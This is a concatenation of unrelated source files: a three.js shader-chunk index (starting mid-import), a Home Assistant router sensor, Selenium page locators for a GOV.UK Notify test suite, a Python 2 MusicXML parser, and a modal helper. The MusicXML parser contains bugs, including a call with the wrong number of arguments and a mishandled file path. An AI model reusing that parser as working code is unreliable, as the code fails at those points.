'./ShaderChunk/dithering_fragment.glsl.js'; import dithering_pars_fragment from './ShaderChunk/dithering_pars_fragment.glsl.js'; import roughnessmap_fragment from './ShaderChunk/roughnessmap_fragment.glsl.js'; import roughnessmap_pars_fragment from './ShaderChunk/roughnessmap_pars_fragment.glsl.js'; import shadowmap_pars_fragment from './ShaderChunk/shadowmap_pars_fragment.glsl.js'; import shadowmap_pars_vertex from './ShaderChunk/shadowmap_pars_vertex.glsl.js'; import shadowmap_vertex from './ShaderChunk/shadowmap_vertex.glsl.js'; import shadowmask_pars_fragment from './ShaderChunk/shadowmask_pars_fragment.glsl.js'; import skinbase_vertex from './ShaderChunk/skinbase_vertex.glsl.js'; import skinning_pars_vertex from './ShaderChunk/skinning_pars_vertex.glsl.js'; import skinning_vertex from './ShaderChunk/skinning_vertex.glsl.js'; import skinnormal_vertex from './ShaderChunk/skinnormal_vertex.glsl.js'; import specularmap_fragment from './ShaderChunk/specularmap_fragment.glsl.js'; import specularmap_pars_fragment from './ShaderChunk/specularmap_pars_fragment.glsl.js'; import tonemapping_fragment from './ShaderChunk/tonemapping_fragment.glsl.js'; import tonemapping_pars_fragment from './ShaderChunk/tonemapping_pars_fragment.glsl.js'; import transmission_fragment from './ShaderChunk/transmission_fragment.glsl.js'; import transmission_pars_fragment from './ShaderChunk/transmission_pars_fragment.glsl.js'; import uv_pars_fragment from './ShaderChunk/uv_pars_fragment.glsl.js'; import uv_pars_vertex from './ShaderChunk/uv_pars_vertex.glsl.js'; import uv_vertex from './ShaderChunk/uv_vertex.glsl.js'; import uv2_pars_fragment from './ShaderChunk/uv2_pars_fragment.glsl.js'; import uv2_pars_vertex from './ShaderChunk/uv2_pars_vertex.glsl.js'; import uv2_vertex from './ShaderChunk/uv2_vertex.glsl.js'; import worldpos_vertex from './ShaderChunk/worldpos_vertex.glsl.js'; import * as background from './ShaderLib/background.glsl.js'; import * as cube from './ShaderLib/cube.glsl.js'; import * as depth from './ShaderLib/depth.glsl.js'; import * as distanceRGBA from './ShaderLib/distanceRGBA.glsl.js'; import * as equirect from './ShaderLib/equirect.glsl.js'; import * as linedashed from './ShaderLib/linedashed.glsl.js'; import * as meshbasic from './ShaderLib/meshbasic.glsl.js'; import * as meshlambert from './ShaderLib/meshlambert.glsl.js'; import * as meshmatcap from './ShaderLib/meshmatcap.glsl.js'; import * as meshnormal from './ShaderLib/meshnormal.glsl.js'; import * as meshphong from './ShaderLib/meshphong.glsl.js'; import * as meshphysical from './ShaderLib/meshphysical.glsl.js'; import * as meshtoon from './ShaderLib/meshtoon.glsl.js'; import * as points from './ShaderLib/points.glsl.js'; import * as shadow from './ShaderLib/shadow.glsl.js'; import * as sprite from './ShaderLib/sprite.glsl.js'; export const ShaderChunk = { alphamap_fragment: alphamap_fragment, alphamap_pars_fragment: alphamap_pars_fragment, alphatest_fragment: alphatest_fragment, alphatest_pars_fragment: alphatest_pars_fragment, aomap_fragment: aomap_fragment, aomap_pars_fragment: aomap_pars_fragment, begin_vertex: begin_vertex, beginnormal_vertex: beginnormal_vertex, bsdfs: bsdfs, bumpmap_pars_fragment: bumpmap_pars_fragment, clipping_planes_fragment: clipping_planes_fragment, clipping_planes_pars_fragment: clipping_planes_pars_fragment, clipping_planes_pars_vertex: clipping_planes_pars_vertex, clipping_planes_vertex: clipping_planes_vertex, color_fragment: color_fragment, color_pars_fragment: color_pars_fragment, color_pars_vertex: color_pars_vertex, color_vertex: color_vertex, common: common, cube_uv_reflection_fragment: cube_uv_reflection_fragment, defaultnormal_vertex: defaultnormal_vertex, displacementmap_pars_vertex: displacementmap_pars_vertex, displacementmap_vertex: displacementmap_vertex, emissivemap_fragment: emissivemap_fragment, emissivemap_pars_fragment: emissivemap_pars_fragment, encodings_fragment: encodings_fragment, encodings_pars_fragment: encodings_pars_fragment, envmap_fragment: envmap_fragment, envmap_common_pars_fragment: envmap_common_pars_fragment, envmap_pars_fragment: envmap_pars_fragment, envmap_pars_vertex: envmap_pars_vertex, envmap_physical_pars_fragment: envmap_physical_pars_fragment, envmap_vertex: envmap_vertex, fog_vertex: fog_vertex, fog_pars_vertex: fog_pars_vertex, fog_fragment: fog_fragment, fog_pars_fragment: fog_pars_fragment, gradientmap_pars_fragment: gradientmap_pars_fragment, lightmap_fragment: lightmap_fragment, lightmap_pars_fragment: lightmap_pars_fragment, lights_lambert_vertex: lights_lambert_vertex, lights_pars_begin: lights_pars_begin, lights_toon_fragment: lights_toon_fragment, lights_toon_pars_fragment: lights_toon_pars_fragment, lights_phong_fragment: lights_phong_fragment, lights_phong_pars_fragment: lights_phong_pars_fragment, lights_physical_fragment: lights_physical_fragment, lights_physical_pars_fragment: lights_physical_pars_fragment, lights_fragment_begin: lights_fragment_begin, lights_fragment_maps: lights_fragment_maps, lights_fragment_end: lights_fragment_end, logdepthbuf_fragment: logdepthbuf_fragment, logdepthbuf_pars_fragment: logdepthbuf_pars_fragment, logdepthbuf_pars_vertex: logdepthbuf_pars_vertex, logdepthbuf_vertex: logdepthbuf_vertex, map_fragment: map_fragment, map_pars_fragment: map_pars_fragment, map_particle_fragment: map_particle_fragment, map_particle_pars_fragment: map_particle_pars_fragment, metalnessmap_fragment: metalnessmap_fragment, metalnessmap_pars_fragment: metalnessmap_pars_fragment, morphnormal_vertex: morphnormal_vertex, morphtarget_pars_vertex: morphtarget_pars_vertex, morphtarget_vertex: morphtarget_vertex, normal_fragment_begin: normal_fragment_begin, normal_fragment_maps: normal_fragment_maps, normal_pars_fragment: normal_pars_fragment, normal_pars_vertex: normal_pars_vertex, normal_vertex: normal_vertex, normalmap_pars_fragment: normalmap_pars_fragment, clearcoat_normal_fragment_begin: clearcoat_normal_fragment_begin, clearcoat_normal_fragment_maps: clearcoat_normal_fragment_maps, clearcoat_pars_fragment: clearcoat_pars_fragment, output_fragment: output_fragment, packing: packing, premultiplied_alpha_fragment: premultiplied_alpha_fragment, project_vertex: project_vertex, dithering_fragment: dithering_fragment, dithering_pars_fragment: dithering_pars_fragment, roughnessmap_fragment: roughnessmap_fragment, roughnessmap_pars_fragment: roughnessmap_pars_fragment, shadowmap_pars_fragment: shadowmap_pars_fragment, shadowmap_pars_vertex: shadowmap_pars_vertex, shadowmap_vertex: shadowmap_vertex, shadowmask_pars_fragment: shadowmask_pars_fragment, skinbase_vertex: skinbase_vertex, skinning_pars_vertex: skinning_pars_vertex, skinning_vertex: skinning_vertex, skinnormal_vertex: skinnormal_vertex, specularmap_fragment: specularmap_fragment, specularmap_pars_fragment: specularmap_pars_fragment, tonemapping_fragment: tonemapping_fragment, tonemapping_pars_fragment: tonemapping_pars_fragment, transmission_fragment: transmission_fragment, transmission_pars_fragment: transmission_pars_fragment, uv_pars_fragment: uv_pars_fragment, uv_pars_vertex: uv_pars_vertex, uv_vertex: uv_vertex, uv2_pars_fragment: uv2_pars_fragment, uv2_pars_vertex: uv2_pars_vertex, uv2_vertex: uv2_vertex, worldpos_vertex: worldpos_vertex, background_vert: background.vertex, background_frag: background.fragment, cube_vert: cube.vertex, cube_frag: cube.fragment, depth_vert: depth.vertex, depth_frag: depth.fragment, distanceRGBA_vert: distanceRGBA.vertex, distanceRGBA_frag: distanceRGBA.fragment, equirect_vert: equirect.vertex, equirect_frag: equirect.fragment, linedashed_vert: linedashed.vertex, linedashed_frag: linedashed.fragment, meshbasic_vert: meshbasic.vertex, meshbasic_frag: meshbasic.fragment, meshlambert_vert: meshlambert.vertex, meshlambert_frag: meshlambert.fragment, meshmatcap_vert: meshmatcap.vertex, meshmatcap_frag: meshmatcap.fragment, meshnormal_vert: meshnormal.vertex, meshnormal_frag: meshnormal.fragment, meshphong_vert: meshphong.vertex, meshphong_frag: meshphong.fragment, meshphysical_vert: meshphysical.vertex, meshphysical_frag: meshphysical.fragment, meshtoon_vert: meshtoon.vertex, meshtoon_frag: meshtoon.fragment, points_vert: points.vertex, points_frag: points.fragment, shadow_vert: shadow.vertex, shadow_frag: shadow.fragment, sprite_vert: sprite.vertex, sprite_frag: sprite.fragment };
"""Support for Vilfo Router sensors.""" from homeassistant.components.sensor import SensorEntity from homeassistant.config_entries import ConfigEntry from homeassistant.core import HomeAssistant from homeassistant.helpers.entity_platform import AddEntitiesCallback from .const import ( DOMAIN, ROUTER_DEFAULT_MODEL, ROUTER_DEFAULT_NAME, ROUTER_MANUFACTURER, SENSOR_TYPES, VilfoSensorEntityDescription, ) async def async_setup_entry( hass: HomeAssistant, config_entry: ConfigEntry, async_add_entities: AddEntitiesCallback, ) -> None: """Add Vilfo Router entities from a config_entry.""" vilfo = hass.data[DOMAIN][config_entry.entry_id] entities = [VilfoRouterSensor(vilfo, description) for description in SENSOR_TYPES] async_add_entities(entities, True) class VilfoRouterSensor(SensorEntity): """Define a Vilfo Router Sensor.""" entity_description: VilfoSensorEntityDescription def __init__(self, api, description: VilfoSensorEntityDescription): """Initialize.""" self.entity_description = description self.api = api self._device_info = { "identifiers": {(DOMAIN, api.host, api.mac_address)}, "name": ROUTER_DEFAULT_NAME, "manufacturer": ROUTER_MANUFACTURER, "model": ROUTER_DEFAULT_MODEL, "sw_version": api.firmware_version, } self._attr_unique_id = f"{api.unique_id}_{description.key}" @property def available(self): """Return whether the sensor is available or not.""" return self.api.available @property def device_info(self): """Return the device info.""" return self._device_info @property def name(self): """Return the name of the sensor.""" parent_device_name = self._device_info["name"] return f"{parent_device_name} {self.entity_description.name}" async def async_update(self): """Update the router data.""" await self.api.async_update() self._attr_native_value = self.api.data.get(self.entity_description.api_key)
from selenium.webdriver.common.by import By class CommonPageLocators(object): NAME_INPUT = (By.NAME, 'name') EMAIL_INPUT = (By.NAME, 'email_address') PASSWORD_INPUT = (By.NAME, 'password') CONTINUE_BUTTON = (By.CSS_SELECTOR, 'main button.govuk-button') ACCEPT_COOKIE_BUTTON = (By.CLASS_NAME, 'notify-cookie-banner__button-accept') H1 = (By.TAG_NAME, 'H1') class MainPageLocators(object): SETUP_ACCOUNT_BUTTON = (By.CSS_SELECTOR, 'a.govuk-button.product-page-button') class SignUpPageLocators(object): MOBILE_INPUT = (By.NAME, 'mobile_number') class SignInPageLocators(object): FORGOT_PASSWORD_LINK = (By.LINK_TEXT, 'Forgotten your password?') class NewPasswordPageLocators(object): NEW_PASSWORD_INPUT = (By.NAME, 'new_password') class VerifyPageLocators(object): SMS_INPUT = (By.NAME, 'sms_code') class AddServicePageLocators(object): SERVICE_INPUT = (By.NAME, 'name') ORG_TYPE_INPUT = (By.ID, 'organisation_type-0') ADD_SERVICE_BUTTON = (By.CSS_SELECTOR, 'main button.govuk-button') class NavigationLocators(object): SIGN_OUT_LINK = (By.LINK_TEXT, 'Sign out') TEMPLATES_LINK = (By.LINK_TEXT, 'Templates') SETTINGS_LINK = (By.LINK_TEXT, 'Settings') class TemplatePageLocators(object): SEND_TEST_MESSAGES_LINK = (By.LINK_TEXT, 'Send text messages') SEND_EMAIL_LINK = (By.LINK_TEXT, 'Send emails') ADD_NEW_TEMPLATE_LINK = (By.LINK_TEXT, 'Add new template') ADD_A_NEW_TEMPLATE_LINK = (By.LINK_TEXT, 'Add a new template') EDIT_TEMPLATE_LINK = (By.LINK_TEXT, 'Edit template') UPLOAD_RECIPIENTS_LINK = (By.LINK_TEXT, 'Upload recipients') class EditTemplatePageLocators(object): TEMPLATE_SUBJECT_INPUT = (By.NAME, 'subject') TEMPLATE_CONTENT_INPUT = (By.NAME, 'template_content') SAVE_BUTTON = (By.CSS_SELECTOR, 'main button.govuk-button') DELETE_BUTTON = (By.LINK_TEXT, 'Delete this template') CONFIRM_DELETE_BUTTON = (By.NAME, 'delete') class UploadCsvLocators(object): FILE_INPUT = (By.ID, 'file') SEND_BUTTON = (By.CSS_SELECTOR, 'main [type=submit]') FIRST_NOTIFICATION_AFTER_UPLOAD = (By.CLASS_NAME, 'table-row') class TeamMembersPageLocators(object): H1 = (By.TAG_NAME, 'h1') INVITE_TEAM_MEMBER_BUTTON = (By.CSS_SELECTOR, 'a.govuk-button') EDIT_TEAM_MEMBER_LINK = (By.LINK_TEXT, 'Edit team member') class InviteUserPageLocators(object): SEND_MESSAGES_CHECKBOX = (By.CSS_SELECTOR, '[value=send_messages], [name=send_messages]') SEE_DASHBOARD_CHECKBOX = (By.CSS_SELECTOR, '[value=view_activity], [name=view_activity]') MANAGE_SERVICES_CHECKBOX = (By.CSS_SELECTOR, '[value=manage_service], [name=manage_service]') MANAGE_API_KEYS_CHECKBOX = (By.CSS_SELECTOR, '[value=manage_api_keys], [name=manage_api_keys]') MANAGE_TEMPLATES_CHECKBOX = (By.CSS_SELECTOR, '[value=manage_templates], [name=manage_templates]') CHOOSE_FOLDERS_BUTTON = (By.CSS_SELECTOR, 'button[aria-controls=folder_permissions]') SEND_INVITATION_BUTTON = (By.CSS_SELECTOR, 'main [type=submit]') class ApiIntegrationPageLocators(object): MESSAGE_LOG = (By.CSS_SELECTOR, 'div.api-notifications > details:nth-child(1)') HEADING_BUTTON = (By. CSS_SELECTOR, '.api-notifications-item__heading') CLIENT_REFERENCE = (By.CSS_SELECTOR, '.api-notifications-item__data-value') MESSAGE_LIST = (By.CSS_SELECTOR, '.api-notifications-item__data-value') STATUS = (By.CSS_SELECTOR, '.api-notifications-item__data-value:last-of-type') VIEW_LETTER_LINK = (By.LINK_TEXT, 'View letter') class LetterPreviewPageLocators(object): DOWNLOAD_PDF_LINK = (By.LINK_TEXT, 'Download as a PDF') PDF_IMAGE = (By.CSS_SELECTOR, '.letter img') class ApiKeysPageLocators(object): KEY_NAME_INPUT = (By.NAME, 'key_name') KEYS_PAGE_LINK = (By.LINK_TEXT, 'API keys') CREATE_KEY_LINK = (By.LINK_TEXT, 'Create an API key') API_KEY_ELEMENT = (By.XPATH, "(//span[@class='api-key-key'])[last()]") NORMAL_KEY_RADIO = (By.XPATH, "//input[@value='normal']") TEST_KEY_RADIO = (By.XPATH, "//input[@value='test']") TEAM_KEY_RADIO = (By.XPATH, "//input[@value='team']") class SingleRecipientLocators(object): USE_MY_EMAIL = (By.LINK_TEXT, 'Use my email address') USE_MY_NUMBER = (By.LINK_TEXT, 'Use my phone number') PLACEHOLDER_NAME = (By.XPATH, "(//label[@for='placeholder_value'])") PLACEHOLDER_VALUE_INPUT = (By.NAME, 'placeholder_value') PREVIEW_TABLE = (By.CLASS_NAME, 'email-message-meta') ALTERNATIVE_SENDER_RADIO = (By.CSS_SELECTOR, "input[type='radio'][id='sender-1']") class EmailReplyToLocators(object): ADD_EMAIL_REPLY_TO_BUTTON = (By.CSS_SELECTOR, 'main button.govuk-button') CONTINUE_BUTTON = (By.XPATH, "//a[@class = 'govuk-button' and contains(text(),'Continue')]") EMAIL_ADDRESS_FIELD = (By.ID, 'email_address') REPLY_TO_ADDRESSES = (By.TAG_NAME, "body") IS_DEFAULT_CHECKBOX = (By.ID, "is_default") class SmsSenderLocators(object): SMS_SENDER_FIELD = (By.ID, 'sms_sender') SAVE_SMS_SENDER_BUTTON = (By.CSS_SELECTOR, 'main button.govuk-button') ALL_SMS_SENDERS = (By.TAG_NAME, 'main') FIRST_CHANGE_LINK = (By.PARTIAL_LINK_TEXT, 'Change') SMS_SENDER = (By.CLASS_NAME, 'sms-message-sender') SMS_RECIPIENT = (By.CLASS_NAME, 'sms-message-recipient') SMS_CONTENT = (By.CLASS_NAME, 'sms-message-wrapper') class ServiceSettingsLocators(object): SERVICE_NAME = (By.CSS_SELECTOR, ".navigation-service-name") class ChangeNameLocators(object): CHANGE_NAME_FIELD = (By.ID, 'name') PASSWORD_FIELD = (By.ID, 'password') class ViewTemplatePageLocators(object): SEND_BUTTON = (By.PARTIAL_LINK_TEXT, 'Get ready to send')
import xml.etree.ElementTree import fractions import os import collections from collections import defaultdict import fractions import midi_to_statematrix import math lowerBound = 24 upperBound = 102 numPitches = upperBound - lowerBound #get the "divisions" which is the number of time #units per beat def getDivisions(e): divisions_val = None retval = {} for part in e: if part.tag == 'part': partName = part.attrib['id'] for measure in part: if measure.tag == 'measure': for attributes in measure: if attributes.tag == 'attributes': for divisions in attributes: if divisions.tag == 'divisions': divs = int(divisions.text) retval[partName] = divs if divisions_val == None: divisions_val = divs # else: #let's just check to see that there is #always agreement #nvm, doesn't matter #if divisions_val != divs: #print "Divisions don't agree: {0} != {1}".format(divisions_val, divisions.text) # return divisions_val return retval #if it's a rest, return the #duration, otherwise return none def getRestLength(note): duration = None isRest = False for el in note: if el.tag == 'rest': isRest = True elif el.tag == 'duration': if duration == None: duration = int(el.text) else: #found duration tag twice print "Duration tag found twice for note..." if isRest: if duration == None: #problem... print "Rest with no duration found" else: return duration else: #it's not a rest; return none return None #return the duration for a backup element def getBackupLength(backup): duration = None for el in backup: if el.tag == 'duration': if duration == None: duration = int(el.text) else: #found duration tag twice print "Duration tag found twice for note..." return duration def xmlPitchToMidiPitch(letter, octave, alter): table = { "C" : 0, "D" : 2, "E" : 4, "F" : 5, "G" : 7, "A" : 9, "B" : 11, } if not letter in table.keys(): print "Letter {0} is not a valid letter A-G".format(letter) return 12 + table[letter] + 12 * octave + alter #get pitch, and duration for a note def getNoteInfo(note, measureNum): duration = None step = None octave = None alter = None isRest = False isChord = False tieType = None for el in note: if el.tag == 'rest': isRest = True elif el.tag == 'duration': if duration == None: duration = int(el.text) else: #found duration tag twice print "Duration tag found twice for note..." elif el.tag == 'chord': isChord = True elif el.tag == 'tie': tieType = el.attrib['type'] elif el.tag == 'pitch': for pitchel in el: if pitchel.tag == 'step': if step == None: step = pitchel.text else: #found step tag twice print "step tag found twice for note..." if pitchel.tag == 'octave': if octave == None: octave = int(pitchel.text) else: #found octave tag twice print "octave tag found twice for note..." if pitchel.tag == 'alter': if alter == None: alter = int(pitchel.text) else: #found alter tag twice print "alter tag found twice for note..." if isRest: #if it's a rest, then return None return None else: if duration == None: #this can happen for grace notes so actually just return none return None elif step == None: print "Note with no step found" elif octave == None: print "Note with no octave found" if alter == None: alter = 0 midiPitch = xmlPitchToMidiPitch(step, octave, alter) return (midiPitch, duration, isChord, tieType) def iterateThroughMusic(e, handleNote, handleMeasure = None, handleRest = None, handlePart = None): #for legacy reasons resolution = 1 for part in e: if part.tag == 'part': partName = part.attrib['id'] if handlePart != None: handlePart(partName) #keep track of the current time timePos = 0 measureNum = 0 lastNoteTimePos = 0 for measure in part: if handleMeasure != None: handleMeasure() if measure.tag == 'measure': #remember measure start time #measureStartTime = timePos #record latest time latestTime = timePos for note in measure: if note.tag == 'note': res = getRestLength(note) if res == None: #it's a note res = getNoteInfo(note, measureNum) if res == None: #this can happen for grace notes, for example, #just ignore continue midiPitch, duration, isChord, tieType = res #allNotes[timePos, (midiPitch, duration)] #print "Found note, pitch: {0}, duration: {1}".format(midiPitch, duration) if timePos % resolution == 0: if isChord: #print "isChord, lastTime: {0}, currTime: {1}".format(lastNoteTimePos, timePos) timePosForNote = lastNoteTimePos else: timePosForNote = timePos if tieType != 'stop': handleNote(timePosForNote / resolution, midiPitch, (duration - 1) / resolution + 1, partName) if not isChord: lastNoteTimePos = timePos timePos += duration else: #it's a rest duration = res if handleRest != None: handleRest(timePos, duration) timePos += duration elif note.tag == 'backup': duration = getBackupLength(note) timePos -= duration if timePos > latestTime: latestTime = timePos timePos = latestTime #look under the current node and return #the first node with the given name, if #it exists def getNodesUnderNodeWithName(node, name): retlist = [] for el in node: if el.tag == name: retlist.append(el) retlist = retlist + getNodesUnderNodeWithName(el, name) return retlist #look under the current node and return #the first node with the given name, if #it exists def getNodeUnderNodeWithName(node, name): thelist = getNodesUnderNodeWithName(node, name) if thelist: return thelist[0] else: return None # for el in node: # if el.tag == name: # return el # else: # res = getNodeUnderNodeWithName(el, name) # if res != None: # return res # return None #parse XML to find the tempo. Note that for some songs, #no tempo will exists, in which case return None. Also, #for some songs, there will be multiple tempos, in which #case probably just return the first one found. def getTempoForSong(tree): soundNodes = getNodesUnderNodeWithName(tree, 'sound') for soundNode in soundNodes: if 'tempo' in soundNode.attrib.keys(): return int(round(float(soundNode.attrib['tempo']))) return None #return hashmap of part to int, where the int #is the amount to transpose each part in half steps. #if there is no transposition for a given part, it #can be omitted from the hash map def getTranspositions(tree): ret = {} parts = getNodesUnderNodeWithName(tree, 'part') for part in parts: if 'id' in part.attrib.keys(): partId = part.attrib['id'] transposeNode = getNodeUnderNodeWithName(part, 'transpose') if transposeNode != None: for chromatic in transposeNode: if chromatic.tag == 'chromatic': ret[partId] = int(chromatic.text) break return ret #we'll put this in its own routine, basically, the problem is, #suppose a beat can be divided into div1 divisions and div2 #divisions. Suppose num specifies a point in time in divisions #along the first scale. Can it be translated to a point in #time in units of the second scale? If so, what is the number #of units (everything must be an integer) #In our code, this will be used to translate notes from "divs" #(time unit of XML file) to "slices" (time unit of statematrix) #If the note can't be translated then it is lost def translateToDifferentDivScale(num, divs1, divs2): theGcd = fractions.gcd(divs1, divs2) if num % (divs2/theGcd) != 0: #we can't translate it return None else: return num * divs2 / divs1 #parses XML, delivering events to the callback #that indicate note locations/durations in #slices. This can be used as a basis for parsing #XML into various specific data structures #also, this function returns a number indicating #the number of slices that are actually a pickup def parseXMLToSomething(xmltree, noteCreationCallback): #examine tree for any transpositions transpositions = getTranspositions(xmltree) #examine tree for tempo tempo = getTempoForSong(xmltree) if tempo == None: raise ValueError("can't produce state matrix for this XML, as there is no tempo") #also, check music to see if there's a pickup. #To do this, we look at the first two measures, #if the lengths are different (as can be determined #by looking at the notes and rests) then we have a #nonzero pickup, which is the length of the first measure class PickupLengthHandler: def __init__(self): self.measureNum = 0 self.latestTimeSeen = 0 self.measureLengths = [0, 0] def __handleSomething(self, time, duration): if self.measureNum == 1 or self.measureNum == 2: index = self.measureNum - 1 if time + duration > self.measureLengths[index]: self.measureLengths[index] = time + duration def __call__(self, time, pitch, duration, part): self.__handleSomething(time, duration) def handleMeasure(self): self.measureNum += 1 def handleRest(self, timePos, duration): self.__handleSomething(timePos, duration) def handlePart(self, partName): self.partName = partName def getPickupDivisions(self): if self.measureLengths[0] == self.measureLengths[1]: return 0 else: return self.measureLengths[0] plm = PickupLengthHandler() iterateThroughMusic(xmltree, plm, plm.handleMeasure, plm.handleRest, plm.handlePart) pickupDivisions = plm.getPickupDivisions() pickupDivisionsPart = plm.partName #This is a constant, but actually it should be an input parameter. Anyways, #given the tempo, the secondsPerSlice, and the divisions per beat, we should #be able to figure out how divisions in the input correspond to slices in the #output secondsPerSlice = 0.125 beatsPerMinute = float(tempo) beatsPerSecond = beatsPerMinute / 60 #e = xml.etree.ElementTree.parse(xmlfile).getroot() e = xmltree #returns hashmap, part to divisions number divisions = getDivisions(e) #compute lcm of divisions over various parts, this #will be the divisions we use divisionsLCM = None for k in divisions.keys(): thisDiv = divisions[k] if divisionsLCM == None: divisionsLCM = thisDiv else: divisionsLCM = (thisDiv * divisionsLCM)/fractions.gcd(thisDiv, divisionsLCM) #use divisions now to translate the pickup divisions for the given part, not all #parts use the same division scale, so use the LCM scale pickupDivisions *= (divisionsLCM/divisions[pickupDivisionsPart]) divisionsPerBeat = divisionsLCM #this will be an exact floating point number #print "secondsPerSlice: {}".format(secondsPerSlice) #print "beatsPerSecond: {}".format(beatsPerSecond) slicesPerBeat = 1 / (beatsPerSecond * secondsPerSlice) #we require that the number of slices for a beat be an integer which #is a power of two. To do this, we'll take the log base 2, round #to the nearest int, then compute inverse log #print "SlicesPerBeat (real): {}".format(slicesPerBeat) slicesPerBeat = int(2**(int(round(math.log(slicesPerBeat, 2))))) #print "SlicesPerBeat: {}".format(slicesPerBeat) #print "divisionsPerBeat: {}".format(divisionsPerBeat) #compute gcd of slices per beat and divisions per beat slicesDivisionsGcd = fractions.gcd(slicesPerBeat, divisionsPerBeat) #we require that for a note to be resolved to slices, it's time in #divisions must be divisible by this number divisionsDivisor = divisionsPerBeat / slicesDivisionsGcd #compute the size of the pickup in slices, this is information #that will be needed for neural net training pickupSlices = pickupDivisions * slicesPerBeat / divisionsPerBeat #print "Pickup Divs: {}".format(pickupDivisions) #print "Pickup Slices: {}".format(pickupSlices) def handleNote_createStateMatrix(time, pitch, duration, part): #if part == 'P2': #print "Got note, pitch: {0}, duration: {1}, time: {2}".format(pitch, duration, time) pitch if part in transpositions.keys(): pitch += transpositions[part] #Sometimes different parts have different #numbers of divisions, scale so that the time/ #duration is in terms of the LCM divisions if divisions[part] != divisionsLCM: #print "LCM scaling happening" scalingFactor = (divisionsLCM / divisions[part]) time *= scalingFactor duration *= scalingFactor #time and duration are in divisions, we need them in slices if time % divisionsDivisor != 0: #this note doesn't fall on a slice boundary so we just skip it return else: time = time * slicesPerBeat / divisionsPerBeat #print "duration before: {}".format(duration) duration = duration * slicesPerBeat / divisionsPerBeat #print "duration after: {}".format(duration) if duration == 0: duration = 1 noteCreationCallback(time, pitch, duration) #ad hoc--if divisions are divisible by 3, then assume #that the division is at the lowest level for the piece, #we set the granularity to ignore this subdivision level iterateThroughMusic(e, handleNote_createStateMatrix) return pickupSlices #wrapper that takes filename instead of tree def parseXMLFileToSomething(xmlFile, noteCreationCallback): tree = xml.etree.ElementTree.parse(xmlFile).getroot() return parseXMLToSomething(tree, noteCreationCallback) def stateMatrixForSong(tree): stateMatrix = [] def handleNoteCreation(time, pitch, duration): #for state matrices, we shift pitch down #by lower bound constant pitch -= lowerBound #if necessary, extend state matrix so #that the desired times exists #last time needed is time + duration - 1, #len <= last time needed, so... #print "Note at time {0}, pitch: {1}".format(time, pitch) while len(stateMatrix) < time + duration: row = numPitches * [[0, 0]] stateMatrix.append(row) #print "time: {}".format(time) #print "size: {}".format(len(stateMatrix)) stateMatrix[time][pitch] = [1, 1] for i in range(time + 1, time + duration): if stateMatrix[i][pitch] == [0, 0]: stateMatrix[i][pitch] = [1, 0] pickupSlices = parseXMLToSomething(tree, handleNoteCreation) return (pickupSlices, stateMatrix) #prints output on error conditions because this is #currently always the right thing to do def getStatematrixOffsetPairForXmlFile(filename, minslices = 0): try: tree = xml.etree.ElementTree.parse(filename).getroot() except Exception as e: print "BAD XML PARSE", e if getTempoForSong(tree) == None: print "File {} has no tempo!!!".format(filename) return None else: sm = stateMatrixForSong(tree) songMatrix = sm[1] if len(songMatrix) < minslices: print "File {} omitted, it is too short.".format(filename) return None else: return sm def createStateMatrices(basedir = 'musicxml', minslices = 0): stateMatrices = {} for theFile in os.listdir(os.getcwd() + '/' + basedir): sm = getStatematrixOffsetPairForXmlFile(theFile, minslices) if sm == None: continue stateMatrices[theFile] = sm return stateMatrices #NOTE: INTERFACE CHANGED--now returns 0 on success, #1 on failure, reason for failure is that there is #actually no tempo information in the xml file, so #we don't know how to convert to midi def midiForXML(xmlFile, midiDestFile): #parse xml file into document tree tree = xml.etree.ElementTree.parse(xmlFile).getroot() tempo = getTempoForSong(tree) #We're no longer using a default tempo, this was never #really a good idea, since actually the various tempos #can differ by an order of magnitued, instead, we return #a code to indicate success or failure. #if tempo == None: # tempo = 120 if tempo == None: return 1 else: stateMatrix = stateMatrixForSong(tree, 0)[1] midi_to_statematrix.noteStateMatrixToMidi(stateMatrix, name=midiDestFile) return 0 #NO LONGER USED!!!! def createStateMatrices_old(): basedir = "musicxml/" f = open(basedir + 'catalog.txt', "r") lines = f.readlines() f.close() stateMatrices = {} #function that returns the default #value of a state matrix def defaultValFactory(): return [0, 0] inBlockComment = False while lines: line = lines[0] del lines[0] if len(line) > 0 and line[0] == '#': continue toks = line.split() if len(toks) == 0: continue if inBlockComment: if toks[0] == 'endcomment': inBlockComment = False continue if toks[0] == 'begincomment': inBlockComment = True continue if len(toks) == 2 and toks[0] == 'file': pass else: continue origFilename = toks[1] mxlfile = basedir + origFilename print mxlfile transpositions = {} slow = None speed = None startTime = 0 while lines and len(lines[0].split()) != 0 and lines[0].split()[0] != 'file': line = lines[0] del lines[0] toks = line.split() if toks[0] == 'transpose': if not len(toks) == 3: continue transpositions[toks[1]] = int(toks[2]) elif toks[0] == 'slow': if not len(toks) == 2: continue slow = int(toks[1]) elif toks[0] == 'speed': if not len(toks) == 2: continue speed = int(toks[1]) elif toks[0] == 'start-time': if not len(toks) == 2: continue startTime = float(toks[1]) #parse xml file into document tree tree = xml.etree.ElementTree.parse(mxlfile).getroot() if getTempoForSong(tree) == None: print "File {} has no tempo!!!".format(mxlfile) else: stateMatrices[origFilename] = stateMatrixForSong(tree) return stateMatrices if __name__ == "__main__": stateMatrices = createStateMatrices() print "{0} songs total.".format(len(stateMatrices)) #print "Pwd: " + os.getcwd() for k in stateMatrices.keys(): midi_to_statematrix.noteStateMatrixToMidi(stateMatrices[k][1], name='./midi_output_test/{}'.format(k))
import eventManager from './utils/eventManager'; import { ACTION } from './utils/actions'; export const modal = { open: (type = '', data = {}, options = { onClose: () => {}, onOpen: () => {}}) => eventManager.emit(ACTION.SHOW, type, data, options), close: () => eventManager.emit(ACTION.CLEAR), };
